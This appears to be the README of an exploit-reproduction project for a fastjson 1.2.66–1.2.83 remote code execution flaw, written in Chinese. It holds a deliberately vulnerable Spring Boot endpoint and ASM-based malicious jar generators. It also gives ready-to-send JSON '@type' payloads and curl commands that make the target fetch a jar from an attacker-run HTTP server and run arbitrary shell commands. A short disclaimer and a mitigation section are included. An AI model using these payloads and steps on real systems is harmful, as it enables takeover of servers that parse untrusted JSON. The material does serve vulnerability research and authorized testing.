@JSONType 资源探测链 RCE
fastjson 1.2.66 ~ 1.2.83 在 @JSONType 注解 + 非法类名 + jar: 协议下的远程类加载 / 命令执行复现项目。
⚠️ 免责声明
本项目仅供安全研究、漏洞复现与授权测试使用。严禁用于任何未授权系统、非法攻击或恶意用途。 使用者应对自身行为负全部责任,作者不对任何滥用行为承担法律责任。
漏洞分析文章参考: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
本项目围绕 CVE-2026-16723 搭建了一套完整的 fastjson 1.2.83 漏洞复现环境:
demo/ —— 存在漏洞的 Spring Boot 2.7.18 Web 应用(依赖 fastjson 1.2.83),对外暴露 POST /parse 接口,直接调用 JSON.parse(json);exp/ —— 基于 ASM 的恶意探针 jar 生成器(HTTP 协议 / FILE 协议两种形态);环境/ —— 预编译好的三种中间件 FatJar(Tomcat / Jetty / Undertow),开箱即用。利用核心思路:通过构造 @type 为 jar URL 的特殊 JSON,让 fastjson 走
@JSONType 注解信任分支 → getResourceAsStream 下载远程/本地 jar →
defineClass 加载恶意类 → 类初始化触发 <clinit> → 任意命令执行(RCE)。
JSON.parse(json) 或 JSON.parseObject(json) 直接解析不可信输入,
且 fastjson 版本在 1.2.66 ~ 1.2.83,safeMode 未开启;java -jar 启动,LaunchedURLClassLoader,
Spring Boot ≤ 2.7 才保留 jar: 协议 Handler 回退能力);defineClass 会抛 ClassFormatError,最多只能打 SSRF);fastjson 的 checkAutoType 在遇到带 @JSONType 注解的类时会进入信任分支,
跳过大部分黑名单校验并允许加载。本项目利用这一点,用 ASM 直接写字节码,
把一个【非法内部类名】写进 class 常量池的 this_class,让三处名称完美对齐:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
恶意类结构:
@JSONType 注解 —— 打开 fastjson checkAutoType 信任分支的钥匙;<init>()V —— 保证 fastjson 能正常实例化;<clinit> 静态初始化块 —— 类加载初始化即执行
Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}),实现命令执行。非法类名用
javac无法写出,只有 ASM 能直接把 URL 写进常量池 —— 这就是本项目 生成器依赖asm-9.6.jar的原因。
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
靶场须运行在 JDK 8 环境下(与利用条件一致)。
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
启动后接口地址:http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 —— 恶意 jar 的 HTTP 托管端口open -a Calculator —— 目标机器要执行的命令(macOS 弹计算器;
Linux 可用 id > /tmp/pwned 2>&1,验证文件是否存在)默认生成文件 x(无扩展名),内部含 y.class,
payload 为:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
确保
python3 -m http.server在生成x文件的目录下启动。
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
命令执行结果不会回显在 HTTP 响应中,需到目标机器上确认:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
适用场景:目标无法访问攻击机 HTTP 端口(内网隔离 / 出网受限), 但可以把 jar 文件放到目标机器文件系统上。
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
生成器会基于当前目录计算 jar:file: URL(目录分隔符 / 会替换为 .),
例如在 /tmp/project/exp 下生成,则 payload 为:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
把生成的文件 y 上传/拷贝到目标机器上与 @type 对应的绝对路径
(如 /tmp/project/exp/y),保持目录结构一致。
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
注意:FILE 协议链的路径必须与目标机器上的实际文件路径完全一致, 否则资源探测失败,无法触发加载。
2130706433 即 127.0.0.1 的无符号 32 位整数,写成整数可以避免 IP 中的 .
被 fastjson 的 . → / 替换逻辑破坏。攻击机不在本机时:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...说明 jar 能被下载(SSRF 已成立),但 TypeUtils.loadClass 返回了 null。
几乎只有两种原因:
@JSONType 注解 —— 探测不过信任分支,根本没进入 loadClass;@type 不对齐 —— defineClass 类名实不符,加载失败。本项目生成器已同时解决这两点:@JSONType 注解 + 三处名称对齐。
如果目标 ClassLoader 不是 LaunchedURLClassLoader
(例如 IDE 直接 Run、普通 war 包、Spring Boot 3.x),单发 jar:http 链无法 RCE,
最多只能验证 SSRF。
JDK 9+ 的 defineClass 对非法类名校验更严格,会抛 ClassFormatError,链子断在加载阶段。
ParserConfig.getGlobalInstance().setSafeMode(true);
可完全禁用 autoType;JSON.parse(json) /
JSON.parseObject(json),尽量使用 JSON.parseObject(json, Xxx.class) 明确指定目标类型;ParserConfig.addAccept(...) 只放行可信类;@type 载荷。如果这个项目对你有帮助,欢迎 ⭐ Star 支持安全研究与漏洞文档建设。
⚠️ 请仅用于授权测试,切勿用于非法用途!
| 项目 | 内容 |
|---|
| CVE | CVE-2026-16723 |
| 组件 | Alibaba fastjson |
| 影响版本 | 1.2.66 ~ 1.2.83(1.x 最后一个版本仍受影响) |
| 漏洞类型 | 反序列化远程代码执行(RCE) |
| 触发入口 | JSON.parse(json) / JSON.parseObject(json)(不指定具体类型) |
| 前置条件 | 目标为 Spring Boot FatJar、JDK 8、safeMode 关闭 |
| 参数 | 默认值 | 说明 |
|---|
port | 19090 | 恶意 jar 托管端口 |
cmd | id > /tmp/pwned 2>&1 | 目标机器执行的命令 |
hostToken | 2130706433 | 目标访问的 IP 整数形式(127.0.0.1) |
entry | y | jar 内 class 条目名 |
outFile | x | 生成的 jar 文件名(无扩展名) |
| 参数 | 默认值 | 说明 |
|---|
port | 19090 | 保留参数(FILE 链不使用端口) |
cmd | id > /tmp/pwned 2>&1 | 目标机器执行的命令 |
dir | 当前目录 | jar 在目标机器上的目录(生成 jar:file: URL 用) |
entry | x | jar 内 class 条目名 |
outFile | y | 生成的 jar 文件名(无扩展名) |